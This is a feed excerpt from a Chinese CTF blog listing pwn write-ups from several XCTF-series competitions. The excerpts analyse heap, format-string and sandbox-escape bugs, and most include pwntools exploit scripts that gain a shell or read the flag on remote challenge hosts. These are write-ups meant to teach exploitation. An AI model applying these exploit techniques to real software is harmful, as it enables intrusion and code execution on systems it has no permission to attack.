赤道企鹅的博客 | Eqqie Blog - XCTF
type: channel
link: https://eqqie.cn/index.php/category/XCTF/
description: XCTF 联赛
items: [N1CTF 2023] - Pwn - n1proxy, n1array
items: [starCTF 2022] BabyNote - musl 1.2.2 pwn
items: [SCTF 2021] pwn部分题解
items: [N1CTF 2021] Pwn - BabyFMT
items: [L3HCTF 2021] Pwn方向writeup - spn & slow-spn
items: [RCTF 2021] Pwn题解 - ezheap, sharing
items: [XCTF Final 2021] Pwn题解 - house of big, hard stack, lua
items: [starCTF / *CTF 2021] Pwn方向writeup
items: [SCTF 2020] SCTF2020 PWN部分write up
items: sctf_2019_easyheap 的两种解法

[N1CTF 2023] - Pwn - n1proxy, n1array
type: item
date: 2023-10-26T17:21:00+08:00
description: n1proxy0x00 题目信息0x01 题目分析代码审计漏洞点0x02 利用思路0x03 一些坑0x04 EXPn1array0x00 题目分析0x01 EXPn1proxy附件：https://pan.baidu.com/s/1JWEtWiyOmaJ4tzrVVXLZhA?pwd=ty6w （提取码：ty6w）0x00 题目信息we use safety rust to deploy a very safe proxy server!Notice:the docker can't restart automatically for some reason, please close the docker and start a new one if you find some trouble又是一个 Rust Pwn，比较巧的是比赛过程中获得了一血唯一解0x01 题目分析代码审计本题使用私有协议实现了一个支持 TCP, UDP, UNIX SOCK 三种底层协议的 proxy server，并且采用了 Rust 语言编码。源代码中多处使用 unsafe 代码块来直接调用 libc 中的函数；main 函数起始处将 ptmalloc 中的 arena 数量设置为了 1，主要是为了简化在并发情况下堆利用的难度；// make this easier :) unsafe { mallopt(libc::M_ARENA_MAX, 1); }主函数通过 handle_client 并行处理所有进入的连接；thread::spawn(move || { println!("New client connected"); handle_client(client_fd).unwrap_or_else(|err| { eprintln!("Error: {}", err); let err_msg = format!("error : {}", err); my_write(client_fd, err_msg.as_ptr() as *const c_void, err_msg.len()).ok(); }); unsafe { libc::close(client_fd) }; println!("Client disconnected") });handle_client 中主要通过 my_write 和 my_read 与客户端交互，并完成与客户端的密钥交换、会话密钥的协商，最后执行客户端指定的代理功能。需要注意的是，在一个会话中，只能调用一次代理功能的原语，整体的协议交互流程整理如下：(handshake) server --> client | HELLO_MSG: "n1proxy server v0.1" client --> server | CLIENT_HELLO: "n1proxy client v0.1" client --> server | conn_type server --> client | key_exchange_sign, key_exchange client --> server | client_verify_len, client_verify client --> server | client_key_len, client_key_n client --> server | client_key_len, client_key_e server --> client | new_session_sign, new_session[E_cli(session_key), E_cli(time)] (new session) client --> server | E_sess(pre_conn[type_u32, status_u32, signature]) server --> client | E_sess(ok_msg[ok_msg, key_exchange_sign]) (connection operations) switch status: Listen: client --> server | E_sess(conn_data[host_len, host, port, signature]) // new_unix_socket_listen(&target_host, target_port) server --> client | E_sess(resmsg[conn_fd, key_exchange_sign]) Close: client --> server | E_sess(conn_data[fd, signature]) // close(fd)…

[starCTF 2022] BabyNote - musl 1.2.2 pwn
type: item
date: 2022-04-17T13:50:00+08:00
description: 前言思路：Notice:EXP:参考资料：前言不算很复杂的musl堆题，但是用了musl 1.2.2。相比于musl 1.1.x中使用的以链表为主的类似dlmalloc的内存管理器，musl 1.2.2则采用了：malloc_context->meta_arena->meta->gropu (chunks)这样的多级结构，并且free掉的chunk有bitmap直接管理（而不是放入某些链表中）。但是meta依然存在无检查的unlink操作，所以大部分攻击的思路仍然是构造出fake meta，然后触发dequeue条件完成任意地址写一个指针。做到任意地址写之后的思路就比较多了：可以尝试写rop到栈上可以尝试伪造 fake stdout 并将指针写到 stdout_used，fake stdout 的头部可以写为"/bin/sh\x00"，write指针写为 system 指针，这样当 exit() 时就会触发system("/bin/sh")调用可以参考别的博主写 _aexit() 中相关函数指针的方法思路：堆风水+UAF把一个note构造到另一个note的note->content域下，find功能泄露出elf_base和初始堆地址（musl的初始堆地址在二进制文件的地址空间中）再用一种堆风水思路借助UAF构造fake note占用掉发生UAF的原note，构造指针进行任意地址泄露，重复该步骤两次分别泄露libc地址和__malloc+context中的secret（用于后序步骤伪造）同样借助UAF构造一个fake note，并从一个页对齐的位置顺序构造fake_arena | fake_meta | fake_group | fake_chunk | fake IO_FILE，fake note的next指向fake_chunk然后构造fake_meta的prev和next使得freefake_note->next之后的unlink将fake IO_FILE的地址写入到stdout_user中由于__IO_FILE中存在如下指针：size_t (*write)(FILE *, const unsigned char *, size_t);，只要控制好参数和指针就可以进行execve("/bin/sh", NULL, NULL)来getshell详细的实现细节可以参考[2]中的描述Notice:为了保证和远程环境最大程度相似，建议在调试前cp ./libc.so /usr/lib/x86_64-linux-musl/libc.so，如果怕覆盖掉本地的musl可以先mv备份开启和关闭ASLR会导致某个常量发生变化，调试的时候记得手动修改一下（见注释）为了方便调试，可以下载一份musl-1.2.2源码然后用dir ./musl-1.2.2/src/malloc和dir ./musl-1.2.2/src/malloc/mallocng加载malloc相关的调试符号（在free的时候带源码调试可以很方便检查程序流卡在哪个assert）EXP:from pwn import * context.log_level = "debug" # 调试本地环境记得一定要拷贝到这个路径，用ld的启动方式vmmap会很tm怪！ # cp ./libc.so /usr/lib/x86_64-linux-musl/libc.so p = process("./babynote") p = remote("123.60.76.240", 60001) def add(name, content, size=-1): p.sendlineafter(b"option: ", b"1") if size >= 0: p.sendlineafter(b"name size: ", str(size).encode()) else: p.sendlineafter(b"name size: ", str(len(name)).encode()) p.sendafter(b"name: ", name) p.sendlineafter(b"note size: ", str(len(content)).encode()) p.sendafter(b"note content: ", content) def find(name, size=-1): p.sendlineafter(b"option: ", b"2") if size >= 0: p.sendlineafter(b"name size: ", str(size).encode()) else: p.sendlineafter(b"name size: ", str(len(name)).encode(…

[SCTF 2021] pwn部分题解
type: item
date: 2021-12-27T17:53:00+08:00
description: dataleakGadgetChristmas SongChristmas BashdataleakcJSON库里cJSON_Minify函数有个漏洞void cJSON_Minify(char *json) { char *into=json; while (*json) { if (*json==' ') json++; else if (*json=='\t') json++; /* Whitespace characters. */ else if (*json=='\r') json++; else if (*json=='\n') json++; else if (*json=='/' && json[1]=='/') while (*json && *json!='\n') json++; else if (*json=='/' && json[1]=='*') {while (*json && !(*json=='*' && json[1]=='/')) json++;json+=2;} /* multiline comments. */ else if (*json=='\"'){*into++=*json++;while (*json && *json!='\"'){if (*json=='\\') *into++=*json++;*into++=*json++;}*into++=*json++;} else *into++=*json++; /* All other characters. */ } *into=0; /* and null-terminate. */ }多行注释的处理没考虑注释不闭合，可能造成越界读写相关issueexp:from pwn import* p=remote('124.70.202.226',2101) #p=process('./cJSON_PWN') context.log_level='debug' p.send('aaaa/*'.ljust(0xe,'a')) #gdb.attach(p) p.send('/*'.rjust(0xe,'a')) #'this_is_dat' a=p.recv(0xb) print(a) #gdb.attach(p) p.send('aaaa/*'.ljust(0xe,'a')) #gdb.attach(p) p.send('a/*'.ljust(0xe,'a')) #'a_in_server' b=p.recv(0xb) print(a+b) p.interactive()把栈上存的要你读的数据leak出来，在交互里换flagGadget用纯gadget切换到32位模式绕过沙箱限制打开文件，然后切回64位模式用alarm侧信道爆破flag字符由于一次可输入的长度不够，这里分成了三段ROP，每段之前先迁移一下栈exp:from pwn import * import time import sys import threading context.arch = "amd64" #context.log_level = "debug" flag = {} lock = threading.Lock() # addrs bss = 0x40c000 flag_ch_pos = bss+0x1500 fake_stack = bss+0x1000 fake_stack2 = bss+0x1100 fake_stack3 = bss+0x1200 # gadgets retfq = 0x4011ec retf = 0x4011ed ret = 0x40312c leave_ret = 0x7ffff7ffde52 pop_rsp_ppp_ret = 0x401730 pop_rdi_rbp = 0x401734 pop_rsi_r15_rbp = 0x401732 pop_rbp_ret = 0x401102 pop_rax_ret = 0x401001 pop_rcx_ret = 0x40117b pop_rbx_ppp_ret = 0x403072 int_0x80_ret = 0x4011f3 syscall_ret = 0x408865 read_0xc0_gadget = 0x401170 push_rsi_ret = 0x4011c5 int3 = 0x4011eb alarm_gadget = 0x40115D ''' .text:000000000040115D mov eax, 25h .text:0000000000401162 mov edi, [rbp-8] ; seconds .text:00000000004011…

[N1CTF 2021] Pwn - BabyFMT
type: item
date: 2021-11-23T23:16:00+08:00
description: babyFMT以为是个普通的格式化串题，结果是出题人自己实现了一个格式化输入（babyscanf）和输出（babyprintf）漏洞点：一个是在show()里面可以自定义输出用的格式化串，但是光有这个是无法利用的，需要结合另一个漏洞点另一个是在babyprintf()中，这里最开始缓冲区大小的确定方式是：首先获取格式化串原长（用的strlen），先进行一次遍历，每遍历到一个%就把需要的长度+0x10，最后交给malloc来获得存放输出流用的buffer；反复审计了几次发现使用b"%\x00"形式的格式化串可以欺骗strlen同时不会导致格式化串解析的终止。于是当我们使用%r——类似scanf中的%s时就会造成以外的堆溢出覆盖利用：溢出理论可行，但是格式化串的buffer在解析完后会释放，所以要准确控制堆溢出位置还是有点麻烦的我采用的堆风水思路是控制buffer循环使用低地址的一个0x30堆块，在其后构造几个0x50的堆块，通过溢出修改size进行overlap；overlap之后就顺理成章能使用UAF来修改0x50fasbin中的fd指针指向__free_hook这里之所以选择一个较大的堆块（0x50）去做控制是因为在__free_hook被修改为system之后并不能立马发生system("/bin/sh")，需要手动去执行一次show()逻辑，在最后释放格式化串buffer的时候再触发system("/bin/sh")；这个过程中会发生几次固定的babyprintf()调用，这里如果碰到了被破坏的堆结构会触发异常，所以需要绕掉EXP：from pwn import * #p = process("./babyFMT", env={"LD_PRELOAD":"./libc-2.31.so"}) p = remote("43.155.72.106", 9999) elf = ELF("./libc-2.31.so") context.log_level = "debug" def add(size:int, author, content): p.sendlineafter(b">", b"1") p.sendlineafter(b"Size:", b"Content size is "+str(size).encode()) p.sendlineafter(b"Author:", b"Book author is "+author) p.sendlineafter(b"Content:", b"Book content is "+content) def delete(idx:int): p.sendlineafter(b">", b"2") #p.sendafter(b"Idx:", b"Book idx is "+str(idx).encode()+b" ") p.sendlineafter(b"Idx:", b"Book idx is "+str(idx).encode()) def show(idx:int, fmt): p.sendlineafter(b">", b"3") p.sendlineafter(b"Idx:", b"Book idx is "+str(idx).encode()) p.sendlineafter(b"You can show book by yourself\n", b"My format "+fmt) # base: 0x0000555555554000+0x4060 def exp(): # leak ## leak libc add(0x20, b"xxxx", b"xxxx") # 0 bad chunk add(0x410, b"aaaa", b"bbbb") # 1 add(0x20, b"tttt", b"tttt") # 2 split delete(1) add(0x20, b"b", b"b") #1 show(1, b"%r|%m|%r") libc_leak = p.recv(6).ljust(8, b"\x00") libc_leak = u64(b"\xe0"+libc_leak[1:]) libc_base = libc_leak - 0x470 - elf.symbols[b"__malloc_hook"] free_hook = libc_base + elf.symbols[b"__free_hook"] system = libc_base + elf.symbols[b"system"] print("libc_leak:", hex(libc_leak)) print("libc_base:", hex(libc_base)) ## attack…

[L3HCTF 2021] Pwn方向writeup - spn & slow-spn
type: item
date: 2021-11-16T00:00:00+08:00
description: slow-spnspnslow-spn本题里面cacheLine是一个缓存单元的类型，__maccess()函数负责检查cacheLine是否命中，以及置换掉最少命中次数的cacheLine思路：侧信道泄露+爆破struct cacheLine { uint32_t tag; uint32_t last_used; };key = flag[0:6] plain = flag[6:10] k>>n*4 ↓ plaintext -> |SS| -> |P| -> XOR -> ... -> |SS| -> |P| -> cipher ... --> |SS| --(vuln)--> |&cache| --> |P| --> ...getflag的脚本from pwn import * from hashlib import sha256 from pwnlib.util.iters import mbruteforce context.log_level = 'debug' def pow(p): p.recvuntil(b"hashlib.sha256( x + \"") c = p.recvuntil("\"" , drop = True) print(c) proof = mbruteforce(lambda x: sha256(x.encode() + c).hexdigest()[:6] == '000000' , '0123456789', length=8, method='fixed') p.sendline(proof) def getflag(key , m): p.recvuntil(b'Input possible spn key (hex):') p.sendline(key) p.recvuntil(b'Input possible spn plaintext (hex):') p.sendline(m) res = p.recv() if res == b'Wrong.': return 0 else: print(res) p = remote('124.71.173.176' ,8888) pow(p) getflag('11' , '1111')脚本比较乱就贴个爆第一轮的上来好了，后面差不多：#exp_round1.py from pwn import * import sys from chall import ss_box, p_box, ss_box_addr, p_box_addr from time import time, sleep import threading ss_map = defaultdict(list) p_map = defaultdict(list) stop_flag = False #context.log_level = "debug" class MyThread(threading.Thread): def __init__(self, func, args=()): super(MyThread, self).__init__() self.func = func self.args = args def run(self): self.result = self.func(*self.args) def get_result(self): try: return self.result except Exception as e: return None def get_args(self, _idx=None): return self.args if _idx == None else self.args[_idx] class MyPipe: def __init__(self, _addr, _typ="local"): if _typ == "local": self.raw_p = process(_addr) else: self.raw_p = remote(_addr[0], _addr[1]) def maccess(self, addr, speed): print(f"Addr: {addr}") print(f"Fetch cache: {hex((addr>>5) & 0x1F)}\nCache tag: {hex(addr>>10)}") self.raw_p.sendlineafter(b"What to do?\n", b"1") self.raw_p.sendlineafter(b"Where?\n", str(addr).encode()) self.raw_p.sendlineafter(b"Speed u…

[RCTF 2021] Pwn题解 - ezheap, sharing
type: item
date: 2021-09-14T23:07:00+08:00
description: ezheapsharingezheap题目实现了一种新的、思路和以往完全不同的堆管理器，并且保护全开手动恢复出来了部分相关结构体：远程EXP：from pwn import * import struct #p = process(["./ld-2.27.so", "./ezheap"], env={"LD_PRELOAD":"./libc-2.27.so"}) p = remote("123.60.25.24", 20077) elf = ELF("./ezheap") libc = ELF("./libc-2.27.so") ld = ELF("./ld-2.27.so") context.log_level = "debug" BYTE_ARR = 1 UINT16_ARR = 2 UINT32_ARR = 3 FLOAT_ARR = 4 def alloc(a_type:int, size:int, idx:int): p.sendlineafter(b"enter your choice>>\n", b"1") p.sendlineafter(b"which type >>\n", str(a_type).encode()) p.sendlineafter(b"size>>\n", str(size).encode()) p.sendlineafter(b"idx>>\n", str(idx).encode()) def edit(a_type:int, idx:int, ele_idx:int, value): p.sendlineafter(b"enter your choice>>\n", b"2") p.sendlineafter(b"which type >>\n", str(a_type).encode()) p.sendlineafter(b"idx>>\n", str(idx).encode()) p.sendlineafter(b"element_idx>>\n", str(ele_idx).encode()) p.sendlineafter(b"value>>\n", value) def view(a_type:int, idx:int, ele_idx:int): p.sendlineafter(b"enter your choice>>\n", b"3") p.sendlineafter(b"which type >>\n", str(a_type).encode()) p.sendlineafter(b"idx>>\n", str(idx).encode()) p.sendlineafter(b"element_idx>>\n", str(ele_idx).encode()) def delete(a_type:int, idx:int): p.sendlineafter(b"enter your choice>>\n", b"4") p.sendlineafter(b"which type >>\n", str(a_type).encode()) p.sendlineafter(b"idx>>\n", str(idx).encode()) # base: 0xf7fc7000 # uint16: 0xf7fc7000+0x4040 # uint8: 0xf7fc7000+0x5040 # uint32: 0xf7fc7000+0x6040 # float: 0xf7fc7000+0x7040 # 0xf7fc7000+0x9060 def exp(): # leak new_heap_addr ## chain alloc(UINT32_ARR, 0xff8, 0) alloc(UINT32_ARR, 0xff8, 1) ## free chain delete(UINT32_ARR, 0) delete(UINT32_ARR, 1) ## show ptr alloc(UINT32_ARR, 0xff8, 4) # help chunk view(UINT32_ARR, 4, 0) p.recvuntil(b"value>>\n") leak_addr = int(p.recvuntil(b"\n", drop=True), 10) libc_base = (leak_addr & 0xfffff000) + 0x5000 system = libc_base + libc.symbols["system"] binsh = libc_base + next(libc.search(b"/bin/sh")) one_gadget = libc_base + 0x13563f print…

[XCTF Final 2021] Pwn题解 - house of big, hard stack, lua
type: item
date: 2021-06-01T23:12:00+08:00
description: house of bighardstackluahouse of big打出了个非预期，找到了一条奇怪的IO_FILE函数利用链——io_wfile_sync，该利用链需要配合一个手动挖出来的libc2.31的one_gadget使用。可迁移性不强（其实所有利用IO_FILE vtable指针的打法都大同小异三个角色的哈希校验绕过A: b'AV;\x8b\x02'B: b'B\xbf\x1b\x1e\x04'C: b'C%:U\x01'哈希爆破脚本from hashlib import md5 i = 2**24 # skip "\x00" while True: #d = b"A" #d = b"B" d = b"C" _input = d + i.to_bytes(4, "little") #print(_input) tmp = md5(_input).digest() if tmp[:3] == b"<D\x00" and b"\x00" not in _input: print(i, d + i.to_bytes(4, "little")) break i += 1exp:from pwn import * import hashlib #p = process("./pig_patch", env={"LD_PRELOAD":"./libc-2.31.so"}) p = remote("172.35.6.13", 8888) elf = ELF("./pig") libc = ELF("./libc-2.31.so") context.log_level = "debug" # b'AV;\x8b\x02' # b'B\xbf\x1b\x1e\x04' # b'C%:U\x01' def load_peppa(): p.sendlineafter(b"Choice: ", b"5") p.sendlineafter(b"Please enter the identity password of the corresponding user:\n", b'AV;\x8b\x02') def load_mummy(): p.sendlineafter(b"Choice: ", b"5") p.sendlineafter(b"Please enter the identity password of the corresponding user:\n", b'B\xbf\x1b\x1e\x04') def load_daddy(): p.sendlineafter(b"Choice: ", b"5") p.sendlineafter(b"Please enter the identity password of the corresponding user:\n", b'C%:U\x01') def add_peppa_msg(size:int, msg): p.sendlineafter(b"Choice: ", b"1") p.sendlineafter(b"Input the message size: ", str(size).encode()) p.recvuntil(b"Input the Peppa's message: ") p.send(msg) def add_mummy_msg(size:int, msg): p.sendlineafter(b"Choice: ", b"1") p.sendlineafter(b"Input the message size: ", str(size).encode()) p.recvuntil(b"Input the Mummy's message: ") p.send(msg) def add_daddy_msg(size:int, msg): p.sendlineafter(b"Choice: ", b"1") p.sendlineafter(b"Input the message size: ", str(size).encode()) p.recvuntil(b"Input the Daddy's message: ") p.send(msg) def show_msg(idx:int): p.sendlineafter(b"Choice: ", b"2") p.sendlineafter(b"Input the message index: ", str(idx).encode()) def edit_peppa_msg(idx:int, msg): p.sendlineafter(b"Choice: ", b"3") p.sendlineafter(b…

[starCTF / *CTF 2021] Pwn方向writeup
type: item
date: 2021-01-09T23:22:00+08:00
description: babyheapbabypacFavourite Architecure flag1Favourite Architecure flag2babyheap18.04 libc2.27堆题,delete有double free白给题，触发malloc_consolidate就可以leak+overlapping了EXP：from pwn import * #p = process("./pwn") p = remote("52.152.231.198", 8081) elf = ELF("./pwn") #libc = ELF("./libc.so.6") libc = ELF("./libc-2.27.so") context.log_level = "debug" def add(idx:int, size:int): p.recvuntil(b">> \n") p.sendline(b"1") p.recvuntil(b"input index\n") p.sendline(str(idx).encode()) p.recvuntil(b"input size\n") p.sendline(str(size).encode()) def delete(idx:int): p.recvuntil(b">> \n") p.sendline(b"2") p.recvuntil(b"input index\n") p.sendline(str(idx).encode()) def edit(idx:int, content): p.recvuntil(b">> \n") p.sendline(b"3") p.recvuntil(b"input index\n") p.sendline(str(idx).encode()) p.recvuntil(b"input content\n") p.send(content) def show(idx:int): p.recvuntil(b">> \n") p.sendline(b"4") p.recvuntil(b"input index\n") p.sendline(str(idx).encode()) def leaveName(name): p.recvuntil(b">> \n") p.sendline(b"5") p.recvuntil(b"your name:\n") p.send(name) def showName(): p.recvuntil(b">> \n") p.sendline(b"6") def exp(): # leak libc for i in range(16): add(i, 0x20) #0-9 for i in range(15): delete(i) # del 0-9 leaveName(b"123123") show(7) libc_leak = u64(p.recvuntil(b"\n", drop=True).ljust(8, b"\x00")) libc_base = libc_leak - 0x3ebe10 malloc_hook = libc_base + libc.symbols[b"__malloc_hook"] free_hook = libc_base + libc.symbols[b"__free_hook"] system = libc_base + libc.symbols[b"system"] print("libc_leak:", hex(libc_leak)) print("libc_base:", hex(libc_base)) print("malloc_hook:", hex(malloc_hook)) print("free_hook:", hex(free_hook)) # overlapping && double free add(0, 0x50) #0 edit(0, p64(0)*4+p64(0x61)) delete(8) edit(0, p64(0)*4+p64(0x61)+p64(free_hook-0x8)) # attack free_hook add(1, 0x50) #1 add(1, 0x50) #1 edit(1, p64(system)) print("free_hook:", hex(free_hook)) edit(0, p64(0)*4+p64(0x61)+b"/bin/sh\x00") delete(8) #gdb.attach(p) p.interactive() if __name__ == "__main__": exp()babypacarm架构的题，有栈溢出机…

[SCTF 2020] SCTF2020 PWN部分write up
type: item
date: 2020-07-14T20:55:00+08:00
description: 解题思路综合了wp和比赛时的思路，做了一点简化CoolCode这题一开始粗心了，没看见有个逻辑漏洞导致可以绕过可见字符判断，但是在这种情况下sad师傅还是吧shellcode构造出来了，实属牛批…..分析 add功能在bss段保存堆指针，但是没限制index可以为负数，导致可以覆盖got表为堆指针 add功能在读取输入的时候会用一个函数检查输入中是否包含了非数字和大写字母内容，如果有则调用exit结束程序。但是这个函数存在一个逻辑漏洞，当输入长度为1时，for循环不会进入，导致存在1字节的无效过滤。 只要覆盖free_got到堆上，并写入ret指令对应的字节b"\xc3″，就可以在exit时返回继续执行，绕过检查。（虽然绕过了检查，但是由于程序使用strncpy拷贝内容，还要注意\x00截断问题） if ( (unsigned int)filter_input((__int64)s, num) )// 限制输入内容 { puts("read error."); exit(1); } signed __int64 __fastcall filter_input(__int64 buf, int len) { int i; // [rsp+14h] [rbp-8h] for ( i = 0; i < len - 1; ++i ) { if ( (*(_BYTE *)(i + buf) <= 47 || *(_BYTE *)(i + buf) > 57)// 0~9 && (*(_BYTE *)(i + buf) <= 64 || *(_BYTE *)(i + buf) > 90) )// 大写字母 { return 1LL; // error } } return 0LL; } 堆上有执行权限，可以考虑构造read调用把shellcode读到write_got指向的堆上执行（只要加好偏移，执行完read调用后就会立刻执行shellcode） 程序开启了seccomp保护，只剩下部分系统调用号，其中fstat刚好对应32位下的open，于是想到在shellcode中可以使用retf切换到32位打开“./flag"再回到64位read&write。（这里是难点，retf通过pop ip和pop cs改变程序位数，要注意retf在构造栈时需要按照32位栈来构造） 最后从返回中读取flag即可 EXPfrom pwn import * p=process("./coolcode") context.log_level = "debug" #p=remote("39.107.119.192",9999) def add(index,content): p.recvuntil(b"Your choice :") p.sendline(b"1") p.recvuntil(b"Index: ") p.sendline(str(index).encode()) p.recvuntil(b"messages: ") p.send(content) def show(index): p.recvuntil(b"Your choice :") p.sendline(b"2") p.recvuntil(b"Index: ") p.sendline(str(index).encode()) def delete(index): p.recvuntil(b"Your choice :") p.sendline(b"3") p.recvuntil(b"Index: ") p.sendline(str(index).encode()) def exp(): #gdb.attach(p,"b *0x400E61\nc\n") # no \x00 read_shellcode = ''' xor rdi, rdi; sub rsi, 0x30 mov rdx, rsi; xor rax, rax; syscall; ''' read_shellcode = asm(read_shellcode, arch="amd64") add(-22, "\xc3") # exit_got->ret add(-34, read_shellcode) # write_got add(0, "CCCCCCCC") show(0) shellcode = "" a = ''' add rcx, 19; mov rbx, 0x23 SHL rbx, 32; add rcx, rbx; push rcx; retf mov esp, edx ''' shellcode += asm(a,arch="amd64"); b = ''' mov eax, 5; push 0x00006761; …

sctf_2019_easyheap 的两种解法
type: item
date: 2020-06-02T16:53:00+08:00
description: 直接用shellcode解的方法比较容易，但是另一种攻击stdout泄露地址的方法更为巧妙0x00 预期解，使用shellcode思路：拿到mmap的地址，以及程序基地址构造unlink拿到bss段上的控制权往mmap段（rwx权限）写入shellcode在bss上构造fake chunk后free掉，拿到unsorted_bin_arena改写为malloc_hook写malloc_hook为mmap的地址踩坑：第0个堆块大小没分配够导致后面写的能力不够，小问题第1的堆块大小没弄对，因为要保证通过检测的情况下，利用off_by_null修改第一个字节，第1个堆块只能申请为0xf8或者0xf0（p->size为0×101，offbynull后为0×100)最后free fake_chunk的时候报错，发现因为我只在fake_chunk后面构造了一个0×21的chunk，导致free后的chunk与该chunk发生合并，检测出错。于是再增加一个0×21的chunk阻止合并即可。expfrom pwn import * p = process("./easyheap") elf = ELF("./easyheap") libc = ELF("./libc.so.6") context.log_level = "debug" context.arch = "amd64" def alloc(size:int): p.recvuntil(">> ") p.sendline(b"1") p.recvuntil("Size: ") p.sendline(str(size).encode()) def delete(index:int): p.recvuntil(">> ") p.sendline(b"2") p.recvuntil("Index: ") p.sendline(str(index).encode()) def fill(index:int,content): p.recvuntil(">> ") p.sendline(b"3") p.recvuntil("Index: ") p.sendline(str(index).encode()) p.recvuntil("Content: ") p.sendline(content) def exp(): p.recvuntil(b"Mmap: ") # leak addr mmap_addr = int(p.recvuntil('\n',drop=True),16) print("mmap_addr:",hex(mmap_addr)) alloc(0xf8) #idx0 p.recvuntil(b"chunk at [0] Pointer Address ") p_base = int(p.recvuntil('\n',drop=True),16) - 0x202068 print("p_base:",hex(p_base)) # unlink alloc(0xf8) #idx1 alloc(0x20) #idx2 target = p_base + 0x202068 fd = target - 0x18 bk = target - 0x10 payload1 = p64(0) + p64(0x21) + p64(fd) + p64(bk) + p64(0x20) + p64(0) + b"a"*0xc0 + p64(0xf0) fill(0,payload1) #gdb.attach(p) delete(1) #gdb.attach(p) # write shellcode to mmap_addr payload2 = p64(0)*2 + p64(0xf8) + p64(p_base + 0x202060 + 0x18) + p64(0x140) payload2 += p64(mmap_addr) fill(0,payload2) fill(1,asm(shellcraft.sh())) # # get malloc_hook_addr payload3 = p64(p_base + 0x202060 + 0x30) + p64(0x20) + p64(0x91) + b"a"*0x88 payload3 += p64(0x21) + b"a"*0x18 + p64(0x21) # be careful fill(0,payload3) #gdb.attach(p) delete(1) # free fake_chunk fill(0,p64(0)*3 + p64(0x20) + b"\x10") fill(3,p64(mmap_addr)) alloc(0x20) # g…